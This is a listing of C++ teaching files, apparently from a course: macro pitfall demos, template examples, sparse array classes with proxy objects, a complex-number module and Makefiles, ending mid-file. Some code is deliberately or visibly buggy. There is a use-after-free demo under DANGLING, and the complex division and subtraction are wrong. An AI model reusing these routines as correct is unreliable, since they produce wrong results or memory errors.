template<class T>
class SparseArray {
struct Item {
int index;
T value;
Item *next;
};
Item *first;
T defval;
public:
SparseArray(const T &dv) : first(0), defval(dv) {}
~SparseArray();
class Interm {
friend class SparseArray<T>;
SparseArray<T> *master;
int index;
Interm(SparseArray<T> *a_master, int ind)
: master(a_master), index(ind) {}
T& Provide();
void Remove();
public:
operator T();
T operator=(const T &x);
T operator+=(const T &x);
T operator++();
T operator++(int);
T operator<<=(int n);
T operator->() { return Provide(); }
};
friend class Interm;
Interm operator[](int idx)
{ return Interm(this, idx); }
T operator[](int idx) const;
int NonzeroCount() const;
private:
SparseArray(const SparseArray<T>&) {}
void operator=(const SparseArray<T>&) {}
};
template <class T>
SparseArray<T>::~SparseArray()
{
while(first) {
Item *tmp = first;
first = first->next;
delete tmp;
}
}
template <class T>
T SparseArray<T>::operator[](int idx) const
{
Item* tmp;
for(tmp = first; tmp; tmp = tmp->next)
if(tmp->index == idx)
return tmp->value;
return defval;
}
template <class T>
int SparseArray<T>::NonzeroCount() const
{
int r = 0;
for(Item *tmp = first; tmp; tmp = tmp->next)
r++;
return r;
}
template <class T>
T& SparseArray<T>::Interm::Provide()
{
Item* tmp;
for(tmp = master->first; tmp; tmp = tmp->next)
if(tmp->index == index)
return tmp->value;
tmp = new Item;
tmp->index = index;
tmp->next = master->first;
master->first = tmp;
return tmp->value;
}
template <class T>
void SparseArray<T>::Interm::Remove()
{
Item** tmp;
for(tmp = &(master->first); *tmp; tmp = &(*tmp)->next) {
if((*tmp)->index == index) {
Item *to_delete = *tmp;
*tmp = (*tmp)->next;
delete to_delete;
return;
}
}
}
template <class T>
T SparseArray<T>::Interm::operator=(const T &x)
{
if(x == master->defval)
Remove();
else
Provide() = x;
return x;
}
template <class T>
T SparseArray<T>::Interm::operator+=(const T &x)
{
T& location = Provide();
location += x;
T res = location;
if(res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++()
{
T& location = Provide();
++location;
T res = location;
if(location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++(int)
{
T& location = Provide();
T res = location;
location++;
if(location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator<<=(int n)
{
T& location = Provide();
location <<= n;
T res = location;
if(res == master->defval)
Remove();
return res;
}
template <class T>
SparseArray<T>::Interm::operator T()
{
Item* tmp;
for(tmp = master->first; tmp; tmp = tmp->next)
if(tmp->index == index)
return tmp->value;
return master->defval;
}
////////////////////////////////////////////////////////////
// tests
#ifdef TEST_ON_INT
static void do_query(SparseArray<int> &array, char *str)
{
int idx, r;
r = sscanf(str, "%d", &idx);
if(r != 1) {
printf("Invalid index\n");
return;
}
printf("** array[%d] == %d\n", idx, (int) (array[idx]));
}
static void do_assign(SparseArray<int> &array, char *str)
{
int idx, val, r;
r = sscanf(str, "%d %d", &idx, &val);
if(r != 2) {
printf("Invalid numbers\n");
return;
}
array[idx] = val;
}
int main()
{
char buf[1024];
SparseArray<int> array(0);
printf("The following commands are recognized:\n"
" ? <key> query the given key\n"
" ! <key> <value> set the value for the key\n"
" # query the number of non-default items\n"
" q quit (or just EOF\n"
"Please note both keys and values must be integers, suitable\n"
"for 32 bit int\n");
while(fgets(buf, sizeof(buf), stdin)) {
switch(buf[0]) {
case '?': do_query(array, buf+1); break;
case '!': do_assign(array, buf+1); break;
case '#':
printf("%d items now\n", array.NonzeroCount());
break;
case 'q': return 0;
default:
printf("Unknown action, must be '?', '!', '#' or 'q'\n");
}
}
return 0;
}
#else // not TEST_ON_INT
#include <string.h>
class MyStr {
char *p;
public:
MyStr() {
p = new char[1];
*p = 0;
}
MyStr(const char *s) {
int len = strlen(s);
p = new char[len+1];
strcpy(p, s);
}
MyStr(const MyStr &a) {
int len = strlen(a.p);
p = new char[len+1];
strcpy(p, a.p);
}
~MyStr() { delete[] p; }
void operator=(const MyStr &s) {
delete[] p;
int len = strlen(s.p);
p = new char[len+1];
strcpy(p, s.p);
}
const char *str() const { return p; }
bool operator==(const MyStr &s) const {
return strcmp(p, s.p) == 0;
}
};
static void do_query(SparseArray<MyStr> &array, char *str)
{
int idx, r;
r = sscanf(str, "%d", &idx);
if(r != 1) {
printf("Invalid index\n");
return;
}
MyStr s = array[idx];
printf("** array[%d] == %s\n", idx, s.str());
}
static void do_assign(SparseArray<MyStr> &array, char *str)
{
int idx, r;
char val[1024];
r = sscanf(str, "%d %1023s", &idx, val);
if(r != 2) {
printf("Invalid numbers\n");
return;
}
array[idx] = val;
}
int main()
{
char buf[1024];
SparseArray<MyStr> array(MyStr("--//--"));
printf("The following commands are recognized:\n"
" ? <key> query the given key\n"
" ! <key> <value> set the value for the key\n"
" # query the number of non-default items\n"
" q quit (or just EOF\n"
"Please note keys must be integers, suitable for 32 bit int,\n"
"while a value may be any string not containing whitespace\n");
while(fgets(buf, sizeof(buf), stdin)) {
switch(buf[0]) {
case '?': do_query(array, buf+1); break;
case '!': do_assign(array, buf+1); break;
case '#':
printf("%d items now\n", array.NonzeroCount());
break;
case 'q': return 0;
default:
printf("Unknown action, must be '?', '!', '#' or 'q'\n");
}
}
return 0;
}
#endif // TEST_ON_INT
00 (10-07)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
error00.cppC++ / 14 lines
#include <stdio.h>
#define SWAP(a, b) { int tmp = a; a = b; b = tmp; }
int main()
{
int x = 5, y = 3;
if (x > y)
SWAP(x, y) //;
else
printf("already in order\n");
printf("%d %d\n", x, y);
return 0;
}
error01.cppC++ / 23 lines
#include <stdio.h>
#define REPEAT(n) { int repeat_i; for (repeat_i = 0; repeat_i < (n); repeat_i++) // {
#define END_REPEAT }
void greet()
{
REPEAT(3)
printf("hello\n");
END_REPEAT
}
int square(int x)
{
return x * x;
}
int main()
{
greet();
printf("%d\n", square(4));
return 0;
}
templates.cppC++ / 50 lines
#include <stdio.h>
/* 1. a type */
template <class T>
T max_of(T a, T b)
{
return a > b ? a : b;
}
/* 2. an integer value */
template <int size>
struct Buffer {
char data[size];
int Size() const { return size; }
};
/* 3. an address: of a global variable ... */
template <int *counter>
void count()
{
++*counter;
}
/* ... or of a function */
template <void (*report)(const char *)>
void check(bool ok, const char *msg)
{
if (!ok)
report(msg);
}
int errors = 0, warnings = 0;
void complain(const char *msg) { printf("problem: %s\n", msg); }
int main()
{
Buffer<16> small;
Buffer<4096> big;
printf("%d %g\n", max_of<int>(3, 7), max_of<double>(2.5, 1.5));
printf("%d %d\n", small.Size(), big.Size());
printf("%lu %lu\n", (unsigned long) sizeof(small),
(unsigned long) sizeof(big));
count<&errors>();
count<&errors>();
count<&warnings>();
printf("%d %d\n", errors, warnings);
check<complain>(1 + 1 == 3, "arithmetic");
return 0;
}
variables.cppC++ / 18 lines
#include <stdio.h>
void clamp(int *v, int min, int max)
{
if (*v < min)
*v = min;
if (*v > max)
*v = max;
}
int main()
{
int width = 130, height = -5;
clamp(&width, 0, 100);
clamp(&height, 0, 50);
printf("%d %d\n", width, height);
return 0;
}
01 (10-07)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
bubble_sort_macro.cppC++ / 34 lines
#include <stdio.h>
#define MAKE_SORT(TYPE) \
void sort_##TYPE(TYPE *array, int len) \
{ \
int start, i, done; \
TYPE tmp; \
for (start = 0; ; start++) { \
done = 1; \
for (i = len - 2; i >= start; i--) \
if (array[i + 1] < array[i]) { \
tmp = array[i]; \
array[i] = array[i + 1]; \
array[i + 1] = tmp; \
done = 0; \
} \
if (done) \
break; \
} \
}
MAKE_SORT(int)
MAKE_SORT(double)
int main()
{
int a[] = { 5, 2, 8, 1 };
double d[] = { 2.5, -1.0, 0.5 };
sort_int(a, 4);
sort_double(d, 3);
printf("%d %d %d %d\n", a[0], a[1], a[2], a[3]);
printf("%g %g %g\n", d[0], d[1], d[2]);
return 0;
}
bubble_sort_template.cppC++ / 35 lines
#include <stdio.h>
template <class T>
inline void swap(T &x, T &y)
{
T tmp = x;
x = y;
y = tmp;
}
template <class T>
void sort(T *array, int len)
{
for (int start = 0; ; start++) {
bool done = true;
for (int i = len - 2; i >= start; i--)
if (array[i+1] < array[i]) {
swap(array[i], array[i+1]);
done = false;
}
if (done)
break;
}
}
int main()
{
int a[] = { 5, 2, 8, 1 };
double d[] = { 2.5, -1.0, 0.5 };
sort(a, 4);
sort(d, 3);
printf("%d %d %d %d\n", a[0], a[1], a[2], a[3]);
printf("%g %g %g\n", d[0], d[1], d[2]);
return 0;
}
02 (10-07)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
sparse00.cppC++ / 309 lines
#include <stdio.h>
class SparseArrayInt {
struct Item {
int index;
int value;
Item *next;
};
Item *first;
public:
SparseArrayInt() : first(0) {}
~SparseArrayInt();
class Interm {
friend class SparseArrayInt;
SparseArrayInt *master;
int index;
Interm(SparseArrayInt *a_master, int ind)
: master(a_master), index(ind) {}
int& Provide();
void Remove();
public:
operator int();
int operator=(int x);
int operator+=(int x);
int operator-=(int x);
int operator*=(int x);
int operator/=(int x);
int operator%=(int x);
int operator<<=(int x);
int operator>>=(int x);
int operator|=(int x);
int operator&=(int x);
int operator^=(int x);
int operator++();
int operator++(int);
int operator--();
int operator--(int);
};
friend class Interm;
Interm operator[](int idx)
{ return Interm(this, idx); };
int operator[](int idx) const;
int NonzeroCount() const;
private:
SparseArrayInt(const SparseArrayInt&) {}
void operator=(const SparseArrayInt&) {}
};
SparseArrayInt::~SparseArrayInt()
{
while (first) {
Item *tmp = first;
first = first->next;
delete tmp;
}
}
int SparseArrayInt::operator[](int idx) const
{
Item *tmp;
for (tmp = first; tmp; tmp = tmp->next)
if (tmp->index == idx)
return tmp->value;
return 0;
}
int SparseArrayInt::NonzeroCount() const
{
int r = 0;
for (Item *tmp = first; tmp; tmp = tmp->next)
r++;
return r;
}
int& SparseArrayInt::Interm::Provide()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
tmp = new Item;
tmp->index = index;
tmp->value = 0;
tmp->next = master->first;
master->first = tmp;
return tmp->value;
}
void SparseArrayInt::Interm::Remove()
{
Item **tmp;
for (tmp = &(master->first); *tmp; tmp = &(*tmp)->next)
if ((*tmp)->index == index) {
Item *to_delete = *tmp;
*tmp = (*tmp)->next;
delete to_delete;
return;
}
}
int SparseArrayInt::Interm::operator=(int x)
{
if (x == 0)
Remove();
else
Provide() = x;
return x;
}
int SparseArrayInt::Interm::operator+=(int x)
{
int& location = Provide();
location += x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator-=(int x)
{
int& location = Provide();
location -= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator*=(int x)
{
int& location = Provide();
location *= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator/=(int x)
{
int& location = Provide();
location /= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator%=(int x)
{
int& location = Provide();
location %= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator<<=(int x)
{
int& location = Provide();
location <<= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator>>=(int x)
{
int& location = Provide();
location >>= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator|=(int x)
{
int& location = Provide();
location |= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator&=(int x)
{
int& location = Provide();
location &= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator^=(int x)
{
int& location = Provide();
location ^= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator++()
{
int& location = Provide();
location++;
int res = location;
if (location == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator++(int)
{
int& location = Provide();
int res = location;
location++;
if (location == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator--()
{
int& location = Provide();
location--;
int res = location;
if (location == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator--(int)
{
int& location = Provide();
int res = location;
location--;
if (location == 0)
Remove();
return res;
}
SparseArrayInt::Interm::operator int()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
return 0;
}
static void do_query(SparseArrayInt &array, char *str)
{
int idx, r;
r = sscanf(str, "%d", &idx);
if (r != 1) {
printf("Invalid index\n");
return;
}
printf("** array[%d] == %d\n", idx, (int) (array[idx]));
}
static void do_assign(SparseArrayInt &array, char *str)
{
int idx, val, r;
r = sscanf(str, "%d %d", &idx, &val);
if (r != 2) {
printf("Invalid numbers\n");
return;
}
array[idx] = val;
}
int main()
{
char buf[1024];
SparseArrayInt array;
while (fgets(buf, sizeof(buf), stdin)) {
switch(buf[0]) {
case '?':
do_query(array, buf+1);
break;
case '!':
do_assign(array, buf+1);
break;
case '#':
printf("%d items now\n", array.NonzeroCount());
break;
case 'q':
return 0;
default:
printf("Unknown action, must be '?', '!', '#' or 'q'\n");
}
}
return 0;
}
sparse01.cppC++ / 423 lines
#include <stdio.h>
template <class T>
class SparseArray {
struct Item {
int index;
T value;
Item *next;
};
Item *first;
T defval;
public:
SparseArray(const T &dv) : first(0), defval(dv) {}
~SparseArray();
class Interm {
friend class SparseArray<T>;
SparseArray<T> *master;
int index;
Interm(SparseArray<T> *a_master, int ind)
: master(a_master), index(ind) {}
T& Provide();
void Remove();
public:
operator T();
T operator=(const T& x);
T operator+=(const T& x);
T operator-=(const T& x);
T operator*=(const T& x);
T operator/=(const T& x);
T operator%=(const T& x);
T operator<<=(int n);
T operator>>=(int n);
T operator|=(const T& x);
T operator&=(const T& x);
T operator^=(const T& x);
T operator++();
T operator++(int);
T operator--();
T operator--(int);
T operator->() { return Provide(); }
};
friend class Interm;
Interm operator[](int idx) { return Interm(this, idx); };
const T& operator[](int idx) const;
int NonzeroCount() const;
private:
SparseArray(const SparseArray<T>&) {}
void operator=(const SparseArray<T>&) {}
};
template <class T>
SparseArray<T>::~SparseArray()
{
while (first) {
Item *tmp = first;
first = first->next;
delete tmp;
}
}
template <class T>
const T& SparseArray<T>::operator[](int idx) const
{
Item *tmp;
for (tmp = first; tmp; tmp = tmp->next)
if (tmp->index == idx)
return tmp->value;
return defval;
}
template <class T>
int SparseArray<T>::NonzeroCount() const
{
int sum = 0;
for (Item *tmp = first; tmp; tmp = tmp->next)
sum++;
return sum;
}
template <class T>
T& SparseArray<T>::Interm::Provide()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
tmp = new Item;
tmp->index = index;
tmp->value = master->defval;
tmp->next = master->first;
master->first = tmp;
return tmp->value;
}
template<class T>
void SparseArray<T>::Interm::Remove()
{
Item **tmp;
for (tmp = &(master->first); *tmp; tmp = &(*tmp)->next)
if ((*tmp)->index == index) {
Item *to_delete = *tmp;
*tmp = (*tmp)->next;
delete to_delete;
return;
}
}
template <class T>
T SparseArray<T>::Interm::operator=(const T &x)
{
if (x == master->defval)
Remove();
else
Provide() = x;
return x;
}
template <class T>
T SparseArray<T>::Interm::operator+=(const T& x)
{
T& location = Provide();
location += x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator-=(const T& x)
{
T& location = Provide();
location -= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator*=(const T& x)
{
T& location = Provide();
location *= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator/=(const T& x)
{
T& location = Provide();
location /= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator%=(const T& x)
{
T& location = Provide();
location %= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator<<=(int n)
{
T& location = Provide();
location <<= n;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator>>=(int n)
{
T& location = Provide();
location >>= n;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator|=(const T& x)
{
T& location = Provide();
location |= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator&=(const T& x)
{
T& location = Provide();
location &= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator^=(const T& x)
{
T& location = Provide();
location ^= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++()
{
T& location = Provide();
++location;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++(int)
{
T& location = Provide();
T res = location;
location++;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--()
{
T& location = Provide();
--location;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--(int)
{
T& location = Provide();
T res = location;
location--;
if (location == master->defval)
Remove();
return res;
}
template <class T>
SparseArray<T>::Interm::operator T()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
return master->defval;
}
#ifdef TEST_ON_INT
static void do_query(SparseArray<int> &array, char *str)
{
int idx, r;
r = sscanf(str, "%d", &idx);
if (r != 1) {
printf("Invalid index\n");
return;
}
printf("%% array[%d] == %d\n", idx, (int) (array[idx]));
}
static void do_assign(SparseArray<int> &array, char *str)
{
int idx, val, r;
r = sscanf(str, "%d %d", &idx, &val);
if (r != 2) {
printf("Invalid numbers\n");
return;
}
array[idx] = val;
}
int main()
{
char buf[1024];
SparseArray<int> array(0);
printf("The following commands are recognized:\n"
" ? <key> query the given key\n"
" ! <key> <value> set the value for the key\n"
" # query the number of non-default items\n"
" q quit (or just EOF\n"
"Please note both keys and values must be integers, suitable\n"
"for 32 bit int\n");
while(fgets(buf, sizeof(buf), stdin)) {
switch(buf[0]) {
case '?': do_query(array, buf+1); break;
case '!': do_assign(array, buf+1); break;
case '#':
printf("%d items now\n", array.NonzeroCount());
break;
case 'q': return 0;
default:
printf("Unknown action, must be '?', '!', '#' or 'q'\n");
}
}
return 0;
}
#else // not TEST_ON_INT
#include <string.h>
class MyStr {
char *p;
public:
MyStr() {
p = new char[1];
*p = 0;
}
MyStr(const char *s) {
int len = strlen(s);
p = new char[len+1];
strcpy(p, s);
}
MyStr(const MyStr &a) {
int len = strlen(a.p);
p = new char[len+1];
strcpy(p, a.p);
}
~MyStr() { delete[] p; }
void operator=(const MyStr &s) {
delete[] p;
int len = strlen(s.p);
p = new char[len+1];
strcpy(p, s.p);
}
const char *str() const { return p; }
bool operator==(const MyStr &s) const {
return strcmp(p, s.p) == 0;
}
};
static void do_query(SparseArray<MyStr> &array, char *str)
{
int idx, r;
r = sscanf(str, "%d", &idx);
if(r != 1) {
printf("Invalid index\n");
return;
}
MyStr s = array[idx];
printf("** array[%d] == %s\n", idx, s.str());
}
static void do_assign(SparseArray<MyStr> &array, char *str)
{
int idx, r;
char val[1024];
r = sscanf(str, "%d %1023s", &idx, val);
if(r != 2) {
printf("Invalid numbers\n");
return;
}
array[idx] = val;
}
int main()
{
char buf[1024];
SparseArray<MyStr> array(MyStr("--//--"));
printf("The following commands are recognized:\n"
" ? <key> query the given key\n"
" ! <key> <value> set the value for the key\n"
" # query the number of non-default items\n"
" q quit (or just EOF\n"
"Please note keys must be integers, suitable for 32 bit int,\n"
"while a value may be any string not containing whitespace\n");
while(fgets(buf, sizeof(buf), stdin)) {
switch(buf[0]) {
case '?': do_query(array, buf+1); break;
case '!': do_assign(array, buf+1); break;
case '#':
printf("%d items now\n", array.NonzeroCount());
break;
case 'q': return 0;
default:
printf("Unknown action, must be '?', '!', '#' or 'q'\n");
}
}
return 0;
}
#endif // TEST_ON_INT
sparse02.cppC++ / 386 lines
#include <stdio.h>
template <class T>
class SparseArray {
struct Item {
int index;
T value;
Item *next;
};
Item *first;
T defval;
public:
SparseArray(const T &dv) : first(0), defval(dv) {}
~SparseArray();
class Interm {
friend class SparseArray<T>;
SparseArray<T> *master;
int index;
Interm(SparseArray<T> *a_master, int ind)
: master(a_master), index(ind) {}
T& Provide();
void Remove();
public:
operator T() const;
T operator=(const T& x);
T operator=(const Interm& x);
T operator+=(const T& x);
T operator-=(const T& x);
T operator*=(const T& x);
T operator/=(const T& x);
T operator%=(const T& x);
T operator<<=(int n);
T operator>>=(int n);
T operator|=(const T& x);
T operator&=(const T& x);
T operator^=(const T& x);
T operator++();
T operator++(int);
T operator--();
T operator--(int);
T operator->() const { return *this; }
};
friend class Interm;
Interm operator[](int idx) { return Interm(this, idx); }
const T& operator[](int idx) const;
int NonzeroCount() const;
private:
SparseArray(const SparseArray<T>&) {}
void operator=(const SparseArray<T>&) {}
};
template <class T>
SparseArray<T>::~SparseArray()
{
while (first) {
Item *tmp = first;
first = first->next;
delete tmp;
}
}
template <class T>
const T& SparseArray<T>::operator[](int idx) const
{
Item *tmp;
for (tmp = first; tmp; tmp = tmp->next)
if (tmp->index == idx)
return tmp->value;
return defval;
}
template <class T>
int SparseArray<T>::NonzeroCount() const
{
int sum = 0;
for (Item *tmp = first; tmp; tmp = tmp->next)
sum++;
return sum;
}
template <class T>
T& SparseArray<T>::Interm::Provide()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
tmp = new Item;
tmp->index = index;
tmp->value = master->defval;
tmp->next = master->first;
master->first = tmp;
return tmp->value;
}
template<class T>
void SparseArray<T>::Interm::Remove()
{
Item **tmp;
for (tmp = &(master->first); *tmp; tmp = &(*tmp)->next)
if ((*tmp)->index == index) {
Item *to_delete = *tmp;
*tmp = (*tmp)->next;
delete to_delete;
return;
}
}
template <class T>
T SparseArray<T>::Interm::operator=(const T &x)
{
if (x == master->defval)
Remove();
else
Provide() = x;
return x;
}
template <class T>
T SparseArray<T>::Interm::operator=(const Interm& x)
{
T value = x;
return *this = value;
}
template <class T>
T SparseArray<T>::Interm::operator+=(const T& x)
{
T& location = Provide();
location += x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator-=(const T& x)
{
T& location = Provide();
location -= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator*=(const T& x)
{
T& location = Provide();
location *= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator/=(const T& x)
{
T& location = Provide();
location /= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator%=(const T& x)
{
T& location = Provide();
location %= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator<<=(int n)
{
T& location = Provide();
location <<= n;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator>>=(int n)
{
T& location = Provide();
location >>= n;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator|=(const T& x)
{
T& location = Provide();
location |= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator&=(const T& x)
{
T& location = Provide();
location &= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator^=(const T& x)
{
T& location = Provide();
location ^= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++()
{
T& location = Provide();
++location;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++(int)
{
T& location = Provide();
T res = location;
location++;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--()
{
T& location = Provide();
--location;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--(int)
{
T& location = Provide();
T res = location;
location--;
if (location == master->defval)
Remove();
return res;
}
template <class T>
SparseArray<T>::Interm::operator T() const
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
return master->defval;
}
class Counter {
int n;
public:
static int copies;
Counter(int a = 0) : n(a) {}
Counter(const Counter& other) : n(other.n) { copies++; }
void Add(int k) { n += k; }
int Get() const { return n; }
bool operator==(const Counter& other) const { return n == other.n; }
};
int Counter::copies = 0;
struct Point {
int x, y;
};
/* gets the array by const reference, so arr[i] is the const version */
int total(const SparseArray<Counter>& arr, int from, int to)
{
int sum = 0;
for (int i = from; i <= to; i++)
sum += arr[i].Get();
return sum;
}
/* the const version gives the stored object itself, not a copy */
void test_reference()
{
SparseArray<Counter> a(Counter(0));
const SparseArray<Counter>& c = a;
a[1] = Counter(5);
a[3] = Counter(7);
printf("values: %d %d %d\n",
c[1].Get(), c[2].Get(), c[3].Get());
printf("same element twice: %d\n", &c[1] == &c[1]);
printf("missing are defval: %d\n", &c[2] == &c[100]);
printf("existing is not: %d\n", &c[1] == &c[2]);
Counter::copies = 0;
printf("total: %d\n", total(a, 0, 10));
printf("copies by const []: %d\n", Counter::copies);
Counter::copies = 0;
Counter x = a[1];
printf("copies by Interm: %d (value %d)\n",
Counter::copies, x.Get());
}
/* the reference follows the element, and can't be used to change it */
void test_reference_lifetime()
{
SparseArray<Counter> a(Counter(0));
const SparseArray<Counter>& c = a;
a[3] = Counter(7);
const Counter& r = c[3];
a[3] = Counter(8);
printf("reference sees 8: %d\n", r.Get());
#ifdef ERRORS
c[3].Add(5);
c[3] = Counter(1);
#endif
#ifdef DANGLING
a[3] = Counter(0); /* removes the element r refers to */
printf("%d\n", r.Get()); /* reads freed memory */
#endif
}
void test_fixes()
{
SparseArray<int> a(0);
SparseArray<Point*> ptrs(0);
Point p = { 3, 4 };
a[1] = 10;
a[2] = 20;
a[1] = a[2];
printf("a[1] = a[2]: %d\n", (int) a[1]);
ptrs[1] = &p;
ptrs[1]->x = 30;
printf("arrow: %d\n", p.x);
ptrs[9].operator->();
printf("count after ->: %d\n", ptrs.NonzeroCount());
}
int main()
{
test_reference();
test_reference_lifetime();
test_fixes();
return 0;
}
02b (10-07)
MakefileMake / 18 lines
SRCMODULES = complex.cpp sparse.cpp
OBJMODULES = $(SRCMODULES:.cpp=.o)
PROGRAMS = main
CXXFLAGS = -g -Wall -ansi -pedantic -Wno-long-long -fwrapv
LDLIBS = -lm
all: $(PROGRAMS)
%.o: %.cpp %.hpp
$(CXX) $(CXXFLAGS) -c $< -o $@
$(PROGRAMS): %: %.cpp $(OBJMODULES)
$(CXX) $(CXXFLAGS) $^ -o $@
clean:
rm -f *.o $(PROGRAMS)
complex.cppC++ / 22 lines
#include "complex.hpp"
const Complex& Complex::operator*=(const Complex &c)
{
double r = re * c.re - im * c.im;
double i = re * c.im + im * c.re;
re = r;
im = i;
return *this;
}
const Complex& Complex::operator/=(const Complex &c)
{
double dvs = c.re * c.re + c.im * c.im;
double r = re * c.re + im * c.im / dvs;
double i = im * c.re - re * c.im / dvs;
re = r;
im = i;
return *this;
}
complex.hppC++ / 35 lines
#ifndef COMPLEX_HPP
#define COMPLEX_HPP
#include <math.h>
class Complex {
double re, im;
public:
Complex(double a_re = 0, double a_im = 0) : re(a_re), im(a_im) {}
double GetRe() const { return re; }
double GetIm() const { return im; }
double Magnitude() const { return sqrt(re*re + im*im); }
double Argument() const { return atan2(im, re); }
const Complex& operator=(const Complex &c)
{ re = c.re; im = c.im; return *this; }
const Complex &operator+=(const Complex &c)
{ re += c.re; im += c.im; return *this; }
const Complex &operator-=(const Complex &c)
{ re -= c.re; im -= c.re; return *this; }
const Complex &operator*=(const Complex &c);
const Complex &operator/=(const Complex &c);
void Print() const;
};
inline Complex operator+(Complex a, const Complex& b) { return a += b; }
inline Complex operator-(Complex a, const Complex& b) { return a -= b; }
inline Complex operator*(Complex a, const Complex& b) { return a *= b; }
inline Complex operator/(Complex a, const Complex& b) { return a /= b; }
#endif
main.cppC++ / 11 lines
#include <stdio.h>
#include "complex.hpp"
#include "sparse.hpp"
int main()
{
SparseArray<Complex> s(Complex(0, 0));
return 0;
}
sparse.cppC++ / 239 lines
#include "sparse.hpp"
template <class T>
SparseArray<T>::~SparseArray()
{
while (first) {
Item *tmp = first;
first = first->next;
delete tmp;
}
}
template <class T>
const T& SparseArray<T>::operator[](int idx) const
{
Item *tmp;
for (tmp = first; tmp; tmp = tmp->next)
if (tmp->index == idx)
return tmp->value;
return defval;
}
template <class T>
int SparseArray<T>::NonzeroCount() const
{
int sum = 0;
for (Item *tmp = first; tmp; tmp = tmp->next)
sum++;
return sum;
}
template <class T>
T& SparseArray<T>::Interm::Provide()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
tmp = new Item;
tmp->index = index;
tmp->value = master->defval;
tmp->next = master->first;
master->first = tmp;
return tmp->value;
}
template<class T>
void SparseArray<T>::Interm::Remove()
{
Item **tmp;
for (tmp = &(master->first); *tmp; tmp = &(*tmp)->next)
if ((*tmp)->index == index) {
Item *to_delete = *tmp;
*tmp = (*tmp)->next;
delete to_delete;
return;
}
}
template <class T>
